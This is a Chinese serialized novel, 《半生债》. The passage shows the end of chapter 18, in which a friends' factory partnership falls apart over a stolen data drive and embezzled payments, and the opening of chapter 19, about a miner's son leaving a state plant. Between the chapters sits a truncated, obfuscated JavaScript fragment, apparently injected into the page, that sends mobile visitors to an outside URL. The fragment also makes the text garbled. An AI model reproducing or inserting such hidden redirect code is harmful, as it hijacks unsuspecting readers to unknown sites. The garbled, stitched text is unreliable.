雨还在下，敲打着落地窗，发出细碎声响。王言走到窗前，望着雨中朦胧的建材市场，语气里满是期许：“兜兜转转二十年，咱们又聚在一起了。这一次，必能干出个名堂。” 王霖望着他的背影，忽然想起高中时的篮球场——少年王言奔跑跳跃，浑身是劲，仿佛整个世界都握在手中。如今四十有余，鬓角染霜，眼角添纹，可眼底那团火，竟还未熄灭。 只是他不知，有些火焰，看似炽热，实则能烧尽所有情谊与初心。 三、裂隙初现 十一月初，张杰从甘肃返程，王霖将他召进办公室。“西安分厂的事，我与王言、贾博、白明亮商量好了，五人合伙，各占二十，分厂交由你和王言管理。” 张杰眼睛骤然亮了，语气里满是兴奋：“真的？王言总也加入？有他在，西北市场稳了！白总资金雄厚，贾叔能搞定贷款，这阵容，简直无敌！” 王霖看着他眼中的光，稍稍放下心来，却在张杰接下来的话里，皱紧了眉头。“王总，我有个想法。我以前在四季沐歌的同事吕立恒，销售能力极强，现在在西安做经销不顺，能不能让他也加入？” 办公室里的空气瞬间凝滞，只剩窗外风过梧桐的轻响。王霖缓缓放下手中的笔，语气沉了几分：“张杰，五人股份已定，再加人，股权如何调整？” “不用占大股，给百分之五就行！”张杰说得轻松，仿佛只是一件小事，“让他负责销售渠道，肯定能快速打开局面！” 王霖沉默了。他看着眼前的年轻人，那眼里的渴望与野心，他太熟悉了——那是急于证明自己的焦灼，是想要攥紧更多权力的执念。年少时的自己，也曾有过这般模样，只是岁月磨平了棱角，也让他懂得，凡事过刚易折，过急易乱。 “这事我得和其他人商量。”王霖终是松了口，却未给出准话。 当晚，王霖拨通了白明亮的电话。听筒那头沉默良久，久到王霖以为电话断了，才传来白明亮平静的声音：“王霖，咱们五人，是穿一条裤子长大的同学，知根知底。做这事，不光是为了赚钱，更是为了圆一个梦——一群老伙计，一起做点事，老了也有个念想。” 他顿了顿，语气里添了几分凝重：“若是让外人进来，这味道就变了。张杰这孩子，我不熟；那个吕立恒，更是一无所知。分厂由他二人打理，你又不在西安，局面恐怕难以掌控。人心隔肚皮，商场上最忌的，就是不明不白的人掺进来。” 王霖握着话筒，指尖微微用力：“你觉得不妥？” “不是不妥，是要慎重。”白明亮语气直白，“要加人，必须五人一致同意，且这人得是咱们都信得过的。否则，往后必生嫌隙。” 挂了电话，王霖立在窗前。东海也下起了雨，雨点敲打着玻璃，如细密的叩问。他想起贾博曾说过的话：张杰本质不坏，只是容易冒进，得有人带着。如今看来，这冒进里，藏着的是不受约束的野心。 次日，四人召开电话会议。当张杰的要求被提出，听筒里陷入漫长的沉默，唯有电流的轻响，透着尴尬与疏离。 “我同意明亮的看法。”贾博率先打破沉默，“五人刚刚好，再加人，关系就复杂了。商场不是儿戏，容不得半点含糊。” 王言却有些犹豫：“但张杰说的也有道理，多个人多份力。若是吕立恒真有本事，也不是不能考虑……” “王言。”白明亮打断他，语气里带着几分无奈，“咱们做事，首重信任。吕立恒为人如何？做事有没有底线？你一无所知，就敢把渠道交给他？商场如战场，一步错，便是满盘皆输。” 王言语塞了。 王霖听着听筒里的寂静，心底的不安如潮水般蔓延。他知道，裂隙已经出现，如富水河底的暗礁，看似隐于水面之下，实则早已暗流涌动，只待一个时机，便会撞得船毁人亡。 最终，贾博提议：“这事再议。张杰那边，王霖你去做做工作。年轻人有想法是好事，但要懂得顾全大局。” 会议结束，王霖坐在办公室里，望着窗外的雨，直到夜色彻底吞噬天光。雨未停，心亦不宁。 四、退场 十一月中旬，王霖接到白明亮的电话，语气平静得近乎淡漠：“王霖，我退出了。” 这一句话，如巨石投入心湖，王霖心头猛地一沉：“明亮，你再好好考虑考虑，这事还有商量的余地……” “我已经考虑得很清楚了。”白明亮打断他，声音里透着几分疲惫，“这几日我反复琢磨，咱们五人合伙，本是美事，靠着三十年的情谊，凡事都好商量。可如今，张杰坚持加人，你犹豫不定，贾博和王言又偏重于眼前利益，这生意，早已不是我当初想的模样。” 王霖想辩解，却被白明亮再次打断：“我在商场摸爬滚打这么多年，见多了合伙生意闹得撕破脸的模样。皆因最初的信任，被一点点消磨，最后只剩算计与猜忌。咱们的情谊，比钱金贵，我不想因为这生意，把三十年的情分都搭进去。” “你们四个做也好，再加人做也罢，我都祝福。只是我，就不掺和了。” 王霖张了张嘴，喉咙像是被什么堵住了，千言万语，最终只化作一声叹息。 “王霖，你是个厚道人。”白明亮的声音里添了几分恳切，“但厚道有时也是弱点。商场如战场，心太软，容易吃亏。这话，你记着。” 电话挂断，忙音嘟嘟作响，如钝刀割着心尖。王霖握着话筒，伫立良久，直到手臂发酸。窗外的梧桐树早已落尽了叶，光秃秃的枝桠伸向灰色天空，如绝望的指尖，抓不住半点光亮。 那晚，王霖没有回家，在办公室里坐了一夜。灯光惨白，映着他孤单的身影，桌上的茶水凉了又热，热了又凉，终究抵不过心底的寒意。 凌晨三点，万籁俱寂，王霖拨通了贾博的电话。“明亮退出了。” 听筒那头沉默了许久，久到能听见彼此的呼吸声。贾博的声音终于传来，带着几分惋惜：“可惜了。但他既然决定了，咱们也只能尊重。” “张杰那边……” “我跟他谈过了。”贾博的语气冷了几分，“他说若是不让吕立恒加入，他也会重新考虑。王霖，分厂刚起步，张杰是关键，不能没有他。” 王霖闭上眼，只觉得浑身疲惫，那是从骨头缝里透出来的累。他想起白明亮的话，想起年少情谊，想起最初的期许，终究是松了口：“那就按他的意思来。吕立恒加入，占百分之五，咱们四人重新调整股份。” “好。”贾博应得干脆，“我让律师准备协议。” 挂了电话，王霖走到车间门口。机器静默，厂房空旷，唯有自己的心跳声，在寂静里格外清晰。他想起一年前，这里只有他一个人，守着满腔热忱；想起张杰第一次来，眼里闪着光说“王总，我信您”；想起那些并肩奋斗的日子，简单而纯粹。 不过一年光景，一切都变了。人心易变，世事无常，大抵便是如此。 五、乱局 白明亮退出后，各项事宜推进得异常迅速。十一月底，新股权协议敲定：王霖、贾博、王言各占二十五，张杰占二十，吕立恒占五。小芳调回西安任分厂会计，贾博安排侄女贾晓梅出任出纳。 王霖思来想去，还是把贺笃银请到了西安，出任分厂厂长。贺笃银来的那天，西安下了第一场雪，雪花细碎，落在肩头便化了，带着彻骨的寒。 “王霖，我这辈子就守过小店，从没管过厂子，我怕干不好，给你丢人。”贺笃银坐在分厂办公室里，搓着手，神色局促，眼底满是不安。 “老贺，我信你。”王霖给他倒了杯热茶，语气恳切，“你为人实在，做事稳当。如今这厂子，最缺的就是你这样的稳当人。” 贺笃银接过茶杯，指尖微微发颤：“那我就试试，定不辜负你。” 张杰对贺笃银的到来，透着明显的冷淡。介绍时只淡淡点头，一句“贺厂长”便转身忙碌，连多余的话都没有。吕立恒却格外热情，握着贺笃银的手使劲摇晃，语气张扬：“贺厂长，以后多指教！我在西安混了几年，路子熟，咱们一起把厂子干得风生水起！” 吕立恒四十出头，河北人，说话快，动作急，眼睛转得飞快，透着一股精明过头的活泛。王霖第一眼见到他，便心底发虚——这般“活”的人，往往没有底线，如风中浮萍，哪里有利便往哪里倒。 分厂挂牌那天，是个阴天，铅灰色的天空压得人喘不过气。鞭炮声炸开，红纸屑落了一地，在灰暗里格外刺眼，像一场盛大却悲凉的祭奠。 王言发表了热情洋溢的讲话，字里行间皆是雄心壮志；张杰侃侃而谈发展规划，眼底满是掌控欲；吕立恒忙着给来宾递名片，脸上堆着刻意的笑容。唯有贺笃银，站在人群末尾，笑得勉强，眼底藏着不安。 王霖看着眼前这一切，心底的不安如藤蔓般疯长，缠绕着心脏，越收越紧。他知道，这局，从一开始，就偏了。 十二月初，王霖返回东海。总厂是根基，生产不能有半分差池，西北市场虽重要，却也不能丢了根本。只是自他离开西安，电话便从未消停过。 几乎每周，贺笃银都会打来电话，语气一次比一次焦虑，如惊弓之鸟。“王霖，张经理又招了他表弟进技术部，那孩子连高中都没毕业，哪里懂技术……”“吕立恒这个月的招待费报了三万多，问他招待了谁，只说潜在客户，连个名单都拿不出来……”“贾处长的侄女管出纳，单据常常不齐全，我说了几次，她只当耳旁风……” 王霖每次都耐心安抚：“老贺，你坚持原则，该管的只管，我给他们打电话。”可每次拨通电话，得到的皆是敷衍。张杰说“都是小事，您要信我”，王言说“把握大方向就好，不必纠结细节”，贾博则以党校学习为由，推脱不便过问。 每一次沟通，都如一场徒劳的博弈。王霖疲于奔命，却终究拗不过人心的涣散。他每月往返西安两三次，每次都带着满心期许，想要理清乱局，可问题如野草般，斩了又生，旧疾未愈，新病又起。 他渐渐明白，有些乱局，从一开始就注定无法收拾。人心散了，纵是有万般手段，也难再拧成一股绳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196369|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 六、失窃 春节前两周，矛盾终究爆发，如蓄势已久的惊雷，炸得人措手不及。 那天王霖正在东海召开生产例会，手机突然响起，屏幕上跳动着贺笃银的名字。接通后，贺笃银的声音带着难以抑制的颤抖，如风中残烛：“王霖……出事了……技术部的移动硬盘……丢了！” 王霖心头猛地一沉，寒意瞬间席卷全身：“什么硬盘？” “存着所有配方、工艺参数和客户资料的硬盘！整个技术部就一块，平时锁在保险柜里。昨天吕立恒说要查数据，借走了，说今天还，可现在人找不到，硬盘也没踪影……” 王霖的手开始发凉，声音也沉了几分：“张杰知道吗？” “知道，可他说可能吕立恒临时有事，让我别大惊小怪……” “报警了吗？” “张杰不让报，说怕影响不好……” 王霖挂断电话，立刻拨通张杰的号码，响了七八声才被接起，张杰的声音异常平静，透着几分刻意的镇定。“王总。” “硬盘的事，怎么回事？”王霖的语气冷得像冰。 “哦，那个啊。”张杰轻笑一声，语气随意，“吕立恒借去用了，可能忘了还。我联系他问问。” “现在就联系。” “他手机关机了，可能是没电了。”张杰的语气依旧轻松，“王总，您别急，硬盘丢不了。说不定他喝多了，在哪睡着了，明天一准找回来。” 王霖只觉得血往头上涌，怒火与寒意交织，烧得他心口发疼：“张杰，那块硬盘里有什么，你清楚。若是丢了，咱们这么多年的心血，就全毁了。” 听筒那头沉默了几秒，张杰的声音带着几分笃定：“王总，我保证，硬盘绝对丢不了。您就信我这一次。” 王霖挂了电话，坐在椅子上，望着窗外飘落的雪花，心底一片冰凉。东海也下雪了，大片大片的雪花无声落下，掩盖了世间所有污秽，却盖不住心底的慌乱与绝望。 那晚，他订了最早一班飞往西安的机票。他知道，这场戏，终究要亲自收场了。 七、摊牌 西安分厂的会议室里，气氛凝重得能滴出水来。王霖、张杰、王言、贺笃银四人对坐，贾博因党校学习未能到场，吕立恒依旧杳无音信。 “已经四十八小时了。”王霖的声音冷得没有一丝温度，“报警。” “不能报！”张杰猛地站起来，情绪激动，“王总，一报警，全行业都知道咱们技术资料失窃，咱们还怎么立足？” “不报警，硬盘就能自己回来？”王霖抬眼，目光如刀，直刺张杰眼底，“还是说，你根本就知道硬盘在哪？” “我再去找！我一定能找到！”张杰的眼睛红了，语气里带着几分哀求与强硬，“王总，这事交给我处理，再给我一天时间，行吗？” 王言在一旁打圆场：“王霖，张杰说得也有道理，报警影响确实太大。要不，再等一天？” 王霖看着眼前两人，张杰的急切掩饰不住心虚，王言的圆滑透着事不关己。贺笃银坐在一旁，欲言又止，眼底满是焦虑。他突然觉得可笑，曾经的挚友与亲信，如今竟都各怀心思，只剩他一个人，还在执着于最初的情谊。 “张杰，”王霖缓缓起身，走到他面前，“你告诉我，吕立恒为什么要借硬盘？分厂网络通畅，要查数据，远程就能调阅，何必把整个硬盘拿走？” 张杰低下头，沉默不语，肩膀微微发颤。 “或者我换个问法。”王霖的声音低沉而有力，“吕立恒在哪？你们是不是有什么事瞒着我？” 会议室里死一般的寂静，唯有窗外寒风呼啸，似亡魂的低语。 良久，张杰才抬起头，声音微弱：“王总，您不信我。” “我想信你，可你得给我信你的理由。”王霖的语气里，满是疲惫与失望。 那天的会议不欢而散。最终，在王霖的坚持下，还是报了警。警察勘察现场，做了笔录，却一无所获。硬盘如人间蒸发般，没了踪迹。 警方调查得知，吕立恒祖籍河北邯郸，辗转过多家公司，风评极差，多有挪用公款、泄露商业机密的传闻。线索至此，彻底中断。 硬盘失窃后，分厂的气氛彻底变了。张杰与贺笃银的矛盾公开化，张杰以管理不善为由，要求开除贺笃银，将责任全推在他人身上。 王霖坚决反对，在电话里对张杰说：“贺笃银是我请来的，要开也是我开。这事的主要责任在吕立恒，而吕立恒，是你坚持要加进来的。” 张杰在听筒那头沉默了许久，突然说：“王总，您要是这么说，这工作我没法干了。” 这是张杰第一次说这样的话。王霖握着话筒，手控制不住地发抖。不是生气，是悲哀。他想起张杰刚来时，在车间里认真擦机器的模样；想起他跑市场归来，眼里闪着光报喜的模样；想起他喝醉后，拍着胸脯说“厂子就是我的家”的模样。 那些真诚的瞬间，难道都是假的？还是说，在利益面前，所有的情谊都不堪一击？ 他终究想不明白，人心为何会变得如此之快。 八、巡视 春节过后，三月的西北，春寒料峭。西安的柳树才刚冒芽，嫩黄的芽尖在寒风里瑟缩，透着几分脆弱。王霖决定亲自巡视西北市场，他带了贺笃银，没有告诉张杰。 第一站是甘肃酒泉，那是张杰一年前签下的四百吨订单，客户老马是多年的老相识。见到王霖，老马格外热情，拉着他喝茶闲聊。 闲谈间，王霖随口问道：“老马，去年的货款，都结清了吧？” 老马一愣，随即点头：“结清了啊，年前就给张经理了。怎么，没到账？” 王霖心头一紧，语气急促：“您跟谁结的？走的公账吗？” “就是跟张经理啊，他亲自来的，说公司财务紧张，让我直接打他私人卡上，他回去统一入账。我还特意要了收据。”老马说着，从抽屉里翻出一张收据，上面盖着分厂的公章，张杰的签名清晰可见，金额二十八万。 王霖握着那张收据，指尖冰凉，浑身的血液仿佛都凝固了。 接下来的一周，他们辗转宁夏、青海、新疆，走访了七个客户。其中五个客户都表示，货款已交给张杰，总额高达一百三十多万，皆是通过私人账户结算，张杰只给了简单收据。唯有两个大客户坚持走公账，款项才正常到账。 返回西安那晚，王霖把张杰叫到了自己的酒店房间。他将一叠收据复印件放在桌上，推到张杰面前，语气平静却带着不容置疑的威严：“解释一下。” 张杰看着那些收据，脸色瞬间惨白，身体微微晃动。但他很快镇定下来，强装镇定地说：“王总，这些钱……我正准备入账，最近太忙，忘了。” “忘了？”王霖盯着他，目光如炬，“一百三十多万，你告诉我忘了？” 张杰低下头，不敢与他对视。 “钱在哪？” “在……在我卡里。” “为什么挪用公司货款？”王霖的声音里，带着最后的期许，他希望张杰能说实话，能有一丝愧疚。 张杰猛地抬头，语气激动地辩解：“我没有挪用！我是暂时借用！分厂启动需要资金，公司拨款太慢，我等不及，就用自己的钱垫上了！这些货款，就是用来还我垫的钱！” “你垫了多少？有凭证吗？有审批手续吗？”王霖的语气冷了下来。 张杰再次沉默，眼底的慌乱再也掩饰不住。 王霖看着他，只觉得浑身疲惫，那种从灵魂深处透出来的累。他不想再追问，不想再争辩，所有的期许与信任，都在这一刻，碎得彻底。 “张杰，你让我很失望。”这是他对张杰说的最后一句话。 当晚，王霖拨通了贾博的电话，将事情一五一十地告知。听筒那头，又是漫长的沉默。 “王霖，”贾博的声音终于传来，带着几分为难，“张杰这事确实不对，但年轻人难免犯错。你看，能不能给他个机会？让他把钱补上，写个检讨，以后严加看管就是。” 王霖不敢相信自己的耳朵：“老贾，那是一百三十多万，不是小数目。这不是犯错，是挪用公款，是触犯底线！” “我知道。”贾博的语气带着几分无奈，“但张杰毕竟立过大功，没有他，公司也走不到今天。而且现在分厂刚起步，确实离不开他。” 王霖握着话筒，突然觉得电话那头的人无比陌生。那是他认识了三十年的同学，是他信任的伙伴，如今却为了利益，模糊了是非，践踏了底线。 “老贾，如果这事发生在你的单位，你会怎么处理？”王霖轻声问道。 贾博沉默了，再也说不出一句话。 “我现在在党校学习，正是关键时期。”良久，贾博的声音低沉下来，带着几分恳求，“这事最好内部处理，别闹大。对你，对我，对大家都好。” 王霖挂断了电话，走到窗前。西安的夜色璀璨，钟楼的轮廓在灯光中清晰可见，千年城墙蜿蜒起伏，沉默地见证着这座城市的兴衰荣辱，也见证着无数人的背叛与沉沦。 他忽然想起白明亮的话：“王霖，你是个厚道人。但厚道有时候是弱点。” 原来，明亮从一开始就看透了。唯有他，还抱着不切实际的幻想，以为情谊能抵得过利益，以为初心能守住人心。 也许，从五人之盟诞生的那一刻起，就错了。错在高估了情谊，低估了人心；错在以为岁月能留住纯粹，却忘了世事能磨平所有棱角。 那天夜里，王霖做了一个决定——退出西安分厂。不是一时冲动，而是深思熟虑后的释然。这局太乱，乱到他无力收拾，也不想再收拾。 他想起父亲王老根常说的话：“人啊，要知道自己能吃几碗干饭。贪心不足，终究会撑死自己。” 或许，他这辈子，就只能守着东海的总厂，守着一份安稳。硬要追求不属于自己的繁华，终究会被反噬。 窗外起了风，三月的夜风依旧带着寒意，吹得窗帘轻摆。王霖站在窗前，望着东方渐渐泛起的鱼肚白，心中一片澄澈。 新的一天要开始了。有些东西，虽已结束，但另一种生活，才刚刚启程。 【第十八章终】字数8960 29. 《半生债》中卷 第十九章·流水半生 《半生债》中卷第十九章·流水半生 一、铜川的黄土 黄土塬的春天来得迟。三月了，黑腰带上还留着残雪，东一片西一片，像补丁。铜川这地方，因煤而兴，因矿设市，人说它是渭北黑腰带上的一颗明珠。明珠不透亮，蒙着一层煤尘，阳光照下来，光也是沉的。 广仔，李通广，就生在这煤尘里。七五年他九岁，家在下石节矿边上。父亲是矿上职工，母亲在矿上办公室文员。家是两孔窑洞，冬暖夏凉，墙上糊着报纸，字迹被煤烟熏得模糊。 铜川矿区记忆:因煤而兴，因矿设市。王石凹煤矿，西北首座大型机械化竖井，曾是陕西煤炭经济的“台柱子”。作家路遥曾在此挂职，深入井□□验生活，并在陈家山矿完成了《平凡的世界》。 不远处的耀州窑，炉火曾淬炼出光润的瓷器，闪烁过大唐的风华，鼎盛于宋，其“倒装壶”等已成穿越历史的国礼。手摇电话机、防尘口罩、布票、粮票、各类荣誉证书……构成了矿区立体而生动的生活。 广仔记事起，耳朵里就灌满了两种声音：夜里父亲沉闷的咳嗽，白天矿上广播喇叭的口号。口号响亮，咳嗽实在。 他那时不懂，许多年后才想明白，那咳嗽才是铜川的底色，是地底下掏心掏肺掏出来的声音。 矿区的孩子野。广仔领着一群半大小子，在矸石山上跑，捡“亮炭”——一种能烧出蓝火苗的煤核。远处井架的天轮日夜转着，像巨大的钟表，丈量着地底下的光阴。他们偶尔会溜达到“十里窑场”的遗址去，那里早已没了唐宋的炉火，只剩破碎的瓷片，青釉的、褐釉的，埋在土里，捡起来对着太阳照，能看见里面细密的纹路，像凝固的流水。 一个老窑工曾蹲在废墟边对他们说：“娃娃，看这瓷片，薄吧？亮吧？可它经了千度以上的火哩。人也一样。”广仔听不懂，只觉得那瓷片边缘锋利，能划破手。 他就这么在煤尘与瓷片中长大了。身子骨壮实，像矿上运煤的小火车头，敦敦的。说话嗓门大，人未到，声先来，隔着一排窑洞都能听见他嚷：“妈！饿死啦！”学习倒不上心，唯独爱动，爬高上低，打架是一把好手，但讲理，不欺负人。父亲看他，叹口气：“这崽，不是下井的料。”母亲护着：“能动能吃是福气。” 八五年，广仔十九，考上了省城的财经学院，营销专业。走的那天，父亲送他到矿务局车站。车是绿皮车，慢。父亲穿着洗得发白的工作服，掏出皱巴巴的十块钱，塞给他，手是黑的，指甲缝里的黑，渗进皮肤里了。父亲只说了一句：“出去了，别学虚的。实在点。” 车开动，他看见父亲转身的背影，微驼，慢慢融进灰蒙蒙的矿区建筑里。他忽然鼻子一酸。那时他不知道，就在他离家前一年，一个叫路遥的作家也来到了铜川矿区，挂职当了个宣传部副部长，跟矿工一起下井，一起流汗，准备写一本大书。 广仔的离开，和那个作家的到来，像两条不相干的线，都在这片厚重的土地上，寻找着各自的“平凡的世界”。 大学四年，城市的光鲜晃他的眼。他学会了说普通话，穿起了白衬衫，可骨子里还是铜川的土腥气和煤屑味。他谈不来风花雪月，做事却扎实，帮学校联系运动器材，低价高效，辅导员说他：“李通广，你小子是个做买卖的料。”他憨笑，心里却空落落的。城市像一块耀州瓷，光润，冰凉，他摸不着底。 九三年毕业，组织分配他回铜川商业局。报到证捏在手里，薄薄一张纸，却重得压手。他眼前晃过父亲微驼的背，母亲香喷喷的饭菜，还有矸石山上永远灰蒙蒙的天。 夜里，他跑到学校操场上，一圈一圈地跑。跑到最后，肺里火辣辣地疼，像吸进了井下的煤尘。他停下来，对着黑漆漆的天，吼了一嗓子，声音撞在围墙上传回来，闷闷的。 他没回去。把报到证折好，塞进箱底。自己买了张站票，一路向东，去了那个只听过的东山省，东海市。那里有个特大型的央企，齐鲁石化，下属一个塑编厂招销售。他不知道塑编是什么，只听说是“搞材料的”。 火车咣当咣当，穿过中原无尽的平原。他靠着车门，看窗外飞速后退的灯火。离家越来越远了。 怀里揣着仅有的五十块钱，和一卷母亲硬塞进来的烙饼。饼已经干了，硬邦邦的。他啃了一口，嚼了很久。忽然想起那个老窑工的话：“经了千度以上的火哩才成煤。” 他不知道，他这一去，便是把自己扔进了时代的洪炉。 彼时，计划经济的大锅饭尚有余温，但锅底的柴禾，已经哔哔剥剥，响着变革的声音。他这只从铜川黑土地里钻出来的小兽，凭着本能，嗅到了风中不一样的咸腥味——那是海的味道。虽然，他还要在“岸边”徘徊数年，才能真正“下海”。 到东海市是凌晨。出了站，黑漆漆的，风硬，刮在脸上像小刀子。他紧了紧单薄的衣裳，望着远处几点寥落的灯光，那里将是他的“齐鲁石化”。三十万人的大厂，像一头沉默的巨兽，卧在黎明前的黑暗里。他深吸一口气，那口气里有陌生的煤化工产品的气味，也有他自己未来半生的尘埃与光芒。 从此，他迈开步子，朝着灯光走去。脚步落在地上，沉沉地响。身后，是渐行渐远的黄土高原；前面，是深不可测的、被称作“人生”的莽莽大海。 他的水，从这里，开始流了。 --- 二、石化子弟 东海市的东郊，齐鲁石化像一座孤岛。三十万人的厂区，有学校、医院、电影院，甚至有自己的公安分局。外面是麦田和村落，里面是纵横的管道、高耸的塔罐、昼夜不息的轰鸣。空气里常年飘着一股复杂的味道，像硫磺混着甜香，又像是烧焦的塑料——这是石化城特有的气息。 九三年秋，李通广站在塑编厂销售科门口。走廊又长又暗，水磨石地面磨得发亮，墙壁下半截刷着淡绿色的油漆，上半截是惨白。办公室门虚掩着，他敲了三下，里面传来一个女声：“进来！” 推门，一股烟味混着纸张的霉味扑面而来。七八张桌子挤在一起，桌上堆着报表、茶杯、算盘。靠窗那张最大桌子后面，坐着科长，姓赵，五十来岁，脸圆，头发稀疏，正端着搪瓷缸子喝茶，缸子上印着“先进生产者”的红字。 “李通广？陕西来的？”赵科长上下打量他，目光像尺子，“营销专业？嗯，专业对口。咱们销售科，现在缺的就是有文化的年轻人。不过，”他放下缸子，慢条斯理，“理论是理论，实践是实践。咱们厂生产的塑料编织袋，主要供给石化系统内部，尿素、聚乙烯颗粒的包装。销售嘛，说白了，就是跟各分厂、各兄弟单位打交道。关系要熟，脸皮要厚，酒量要好。这三样，你有哪样？” 广仔站得笔直，喉咙发干。一米七八的个子，微胖，健壮，在狭小的办公室里显得有点局促。“我……我能学。”声音有点大，震得窗玻璃嗡嗡响。 赵科长笑了，露出一口被烟熏黄的牙。“嗓门倒是不小。行，先跟着老刘跑跑吧。”他指了指角落里一个埋头写东西的中年人。 老刘抬起头，脸上没什么表情，只是点点头。他面前摊开一本厚厚的通讯录，边缘卷起，密密麻麻记着名字、电话、单位。这就是销售科的全部家当。 广仔的“销售”生涯，就从这本通讯录开始。他的工作是打电话，确认订单，催收单据。电话是那种老式转盘机，拨起来哗啦啦响。他学着用蹩脚的山东话跟对方寒暄：“王主任您好，俺是塑编厂的小李……”对方不耐烦：“知道了知道了，单子不是上周就报了吗？等着！”啪，挂了。他握着话筒，里面传来忙音，嘟嘟嘟，像心跳。 也有好说话的。一个分厂的仓库保管员，听出他的外地口音，多聊了两句：“陕西娃？跑这么远来卖塑料袋？不容易啊。”广仔心里一热。下了班，他去厂里小卖部买了盒“大鸡”烟，不会抽，也点上一根，呛得直咳嗽。烟雾里，他看着窗外巨大的裂解装置，夜晚被灯光照得通明，像钢铁的森林。管道蜿蜒，蒸汽腾腾，发出低沉的吼声。这就是“特大型央企”，他在这吼声里，成了一颗微小的螺丝钉。 日子水一样流过去。他很快摸清了门道：每月25号前要把下月需求报上来；各分厂采购科谁管事，谁只是“点头不算摇头算”；哪个仓库保管员爱喝茶，哪个司机能帮忙捎带样品。他把这些零零碎碎记在本子上，比老刘那本通讯录还详细。 他腿勤，嘴甜，见谁都笑，一口一个“老师儿”。科里人渐渐喜欢这个实在的陕西小伙，说他“不飘”。 那时还是“大锅饭”的尾巴。厂里效益尚可，每月工资按时发，还有奖金。食堂的馒头又白又大，一顿能吃三个。周末，工会组织舞会，在职工俱乐部，锃亮的水磨石地板，顶上挂着彩纸拉花。广仔也去，不会跳，就坐在边上，看红男绿女在《蓝色的多瑙河》里旋转。灯光昏暗，空气里有雪花膏的香味。他会恍惚，想起铜川矿务局的电影院，那里也放过苏联片子，银幕上的男女也在跳舞。不过那里的空气是煤尘味，这里是石化味。 变化是悄没声儿来的。先是厂门口贴出“减员增效”的红头文件。接着，传闻要“剥离辅业”，塑编厂这种“三产”，可能要被推出去。销售科的气氛变了，聊天的人少了，算盘珠子拨得更响。老刘有天悄悄对他说：“小李，你年轻，有文化，早做打算。”广仔没听懂，或者说，不愿听懂。他觉得这铁饭碗，虽然边沿有点磕碰，总还是铁的。 直到九八年的春天。厂里开了大会，主席台上挂着横幅：“深化改革，转换机制”。厂长讲话，声音通过麦克风放大，有些空洞：“……鼓励有能力的职工，买断工龄，自主创业，拥抱市场经济的大海……” “买断工龄”四个字，像锤子砸在广仔心上。他算了一笔账：七年工龄，能拿两万多块钱。两万多，在当年是巨款，也是一条沉船的救生圈。拿了，就意味着和这座庇护了他七年的孤岛彻底告别。 会散了，人群沉默地涌出礼堂。外面阳光很好，照在厂区林荫道上，梧桐树刚冒出嫩芽。广仔走得很慢。他想起父亲黑指甲缝里的手，想起矸石山上捡亮炭的午后，想起大学操场那个对着黑夜吼叫的晚上。他一直想“出去”，从铜川到子博，从一个体制到另一个体制。现在，“出去”的机会来了，外面是真正的、深不见底的“海”。 他走到厂区边缘，那里有一道铁丝网围墙。外面是一片荒地，长满枯草，更远处是麦田，绿意初显。风从田野上吹来，带着泥土和青草的味道，清冽，自由，也充满未知的寒意。他抓着铁丝网，网眼冰凉。身后，是石化城永不停歇的轰鸣；身前，是寂静无边的旷野。 那一刻，他忽然想起了路遥。那个曾在铜川矿区下井的作家，如果看到他此刻的彷徨，会说什么？大概会让他想起孙少平，那个在铜城煤矿挣扎求生的年轻人。他们都是从黄土地里走出来，都面临过人生的“关口”。关口外面是什么？谁也不知道。 晚上，他给铜川家里打了个电话。手摇电话要转接，等了很久才通。母亲接的，声音遥远而清晰：“广啊，咋啦？”他张了张嘴，那句“我想买断工龄”在喉咙里滚了几滚，最终变成：“妈，我挺好的。厂里……可能要有点变动。”母亲在那边沉默了一会，说：“变动就变动。人挪活，树挪死。你想好了，就做。实在不行，家里还有两孔窑。” 挂了电话，广仔在宿舍坐了半夜。同屋的人早已熟睡，鼾声起伏。月光从窗户照进来，在地上铺成一片冷霜。他摸出箱底那张折得整整齐齐的报到证，纸质已经发脆。九三年，他没走那张证安排的路。现在，他再次站在了选择的岔路口。 他站起身，走到窗前。远处，裂解装置的灯火依旧璀璨，像一堆永不熄灭的篝火。那火光曾经温暖过他，也映照过无数人的青春与安稳。但篝火旁太拥挤，暖意也让人昏昏欲睡。他想起赵科长的话：“关系要熟，脸皮要厚，酒量要好。”这七年，他学会了这些，但总觉得，还有什么东西，在胸中蠢蠢欲动，像煤矸石里埋着的亮炭，等待被点燃。 几天后，他在买断工龄的协议上签了字。名字签得很大，很用力，最后一笔几乎划破了纸。拿到那张两万三千六百元的存折时，手有点抖。薄薄一张纸，比当年的报到证重多了。 走出厂办大楼，正是中午。阳光刺眼。他下意识地走向销售科，走到门口，才想起自己已经不属于这里了。他转身，沿着那条走了七年的水磨石走廊往外走。脚步声回荡，这一次，只有他一个人的脚步声。 厂门口，他回头看了一眼。巨大的厂牌，“齐鲁石化塑编厂”几个字在阳光下反射着金属的光泽。他看了很久，像要把这景象刻进眼里。然后，他迈开步子，走进了那片阳光里，走进了九八年春天温暖而凛冽的风中。 海，就在前面。他这只从黄土高原走来，在石化孤岛上栖息了七年的鸟，终于要振翅，投向那片茫茫的蔚蓝。他不知道等待他的是风浪，还是海阔天空。 他只知道，水已出山，再无回头路。 --- 三、潮信初起 一九九八年夏，广仔揣着两万三千六百元的存折，走出齐鲁石化的厂门。他没回头，步子迈得大，水泥路被太阳晒得发白，晃眼。风里有乙烯装置低沉的喘息，像巨兽的鼾声。这声音听了七年，此刻听来，竟有些送别的意味。 他径直去了厂生活区对面的“兴隆茶馆”。挑了个靠窗的位子坐下，点了一壶最便宜的茉莉花茶。茶叶在粗瓷杯里浮沉，他掏出通讯录——不是销售科那本公用的，是他自己的私册，牛皮纸封面，边角磨损得厉害。里面记的不是名字电话，是脾性喜好：“供应处老张，嗜酒，尤爱景芝白干，其妻有腿疾”；“橡胶厂王科长，好钓鱼，周末常去萌山水库，可用蚯蚓饵”；“化建公司李主任，独子今年考大学，欲报计算机专业”……蝇头小字，密密麻麻，是他在体制内七年，用无数包烟、无数顿酒、无数句恰到好处的“关心”换来的海底图。 